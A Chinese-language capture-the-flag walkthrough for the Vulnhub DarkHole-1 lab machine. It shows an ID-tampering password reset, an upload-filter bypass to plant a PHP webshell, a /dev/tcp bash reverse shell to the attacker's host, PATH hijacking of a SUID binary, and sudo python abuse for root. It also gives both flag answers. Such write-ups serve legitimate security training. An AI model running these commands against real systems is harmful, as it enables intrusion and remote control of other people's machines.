Vulhub-DarkHole靶机通关攻略
下载链接:https://www.vulnhub.com/entry/darkhole-1,724/
扫描ip
arp-scan -l
扫描端口
nmap 192.168.112.144 -p-
扫描目录
dirsearch -u http://192.168.112.144/
有一个登录页面,还有一个upload目录,但是还没有找到上传点
先注册一个用户登陆看看
可以更改信息,而在URL上还有id=2,那么就可能有id=1
尝试抓包将id为1 的密码进行更改,发现更改成功
而用户名还不知道,但是常规的admin还是要试一下,而结果就是admin
如果不是的话,那么我们还可以使用抓包尝试进行爆破
登陆admin后发现多了一个上传文件的接口,那么我们上传一句话木马获得webshell
但是有上传限制
尝试绕过
抓包后再文件的后缀的后面加上一个空格,成功绕过
利用burp suite抓包修改后缀 修改为phtml 上传成功
能够正常访问
使用蚁剑成功连接
反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.112.132/6666 0>&1'"); ?>
上传成功,访问
成功反弹shell
获得交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
在/var/www/html/config/database.php中找到了数据库的用户名和密码,都是john
查找能够提权的文件
find / -perm -u=s 2>>/dev/null
查看文件,发现有可执行权限
ls -l /home/john/toto
执行文件, 发现执行了id命令
/home/john/toto
接下来尝试对id命令进行环境变量劫持,提权到john用户
在tmp目录创建id文件,赋予执行权限,给tmp文件夹环境变量
Tmp文件夹是临时文件存放的目录,而且所有用户有很大的权限
export PATH=“/tmp:$PATH” 作用是将tmp目录放在环境变量最前面
这样的话运行toto文件执行id命令,就会首先执行/tmp/id文件,获取john的shell
echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH="/tmp:$PATH"
成功获取john用户的shell
来到家目录,有四个文件
password存放john用户的密码
user.txt是第一个flag:DarkHole{You_Can_DO_It}
File.py是个空文件
toto是用来提权的文件
寻找提权点,发现file.py文件可以sudo执行
sudo /usr/bin/python3 /home/john/file.py
给file.py文件写入获取shell的命令
echo "import pty;pty.spawn('/bin/bash');" > file.py
执行提权命令
sudo /usr/bin/python3 /home/john/file.py
成功提权
在root目录可以找到第二个flag:DarkHole{You_Are_Legend}